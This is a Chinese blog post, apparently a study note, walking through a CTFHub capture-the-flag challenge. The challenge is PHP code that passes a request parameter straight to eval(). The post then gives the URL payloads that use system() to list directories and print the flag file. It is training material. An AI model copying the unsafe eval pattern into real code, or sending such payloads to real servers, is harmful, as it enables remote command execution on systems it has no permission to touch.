技术栈

CTFHub 技能树 Web RCE eval执行(学习记录)

马船长2024-12-15 17:23

eval执行

源代码

php 复制代码
<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行

先查看一下根目录文件 /?cmd=system("ls");

查看上一级目录找flag文件

/?cmd=system("ls /");

打开flag文件发现FLAG

/?cmd=system("cat /flag_9237");

linux在读取flag的时候可以使用*去匹配

cat /flag*

/?cmd=system("cat /flag*");

上一篇:博客MDX渲染方案
下一篇:在IDE中使用Git
相关推荐
β添砖java
10 小时前
2025最新快速构建企业级虚拟专用网络环境学习笔记
笔记·学习
WZF-Sang
14 小时前
网络基础——2
服务器·网络·c++·学习·网络编程·php
心中有国也有家
16 小时前
E-Brufen 技术选型全景:Flutter + 鸿蒙 + Hive CE
hive·hadoop·学习·flutter·华为·harmonyos
New农民工
16 小时前
射频芯片学习-ExpressLRS 对频流程分析
学习
Tom@敲代码
17 小时前
js学习笔记-01
javascript·笔记·学习
辞旧 lekkk
17 小时前
【Qt】 系统相关:事件与定时器
开发语言·qt·学习·萌新
zzzll1111
17 小时前
如何学习AI Agent?
java·人工智能·学习·程序员·大模型
默默敲代码的徐哥儿
18 小时前
八股文整理——后端
java·开发语言·spring boot·后端·学习
巴巴媛666
18 小时前
STM32学习笔记【32.BKP + RTC】
笔记·stm32·学习
热门推荐
012026 年 AI 编程工具终极横评:Cursor vs Claude Code vs Copilot vs Windsurf02GitHub 镜像站点03AI 编程 IDE 全景解析 2026:Agent 全面接管开发链路042026 AI 编程工具终极实战指南:Cursor vs Claude Code vs Copilot,开发者该怎么选?05AI科技热点日报 | 2026年07月01日062026 年 AI 大模型 & AI 编程工具实战全总结072026 AI 编程工具选型横评:Cursor / Claude Code / Trae / Copilot 到底选谁(建议收藏·避坑版)08【AI】2026 年具身智能模型和世界模型总结092026 国产 AI 大模型横评:DeepSeek、通义千问、Kimi、文心一言、星火、豆包谁更能打?102026年7月AI圈大地震:GPT-5.6被政府限制、Claude入驻Slack、Anthropic自研芯片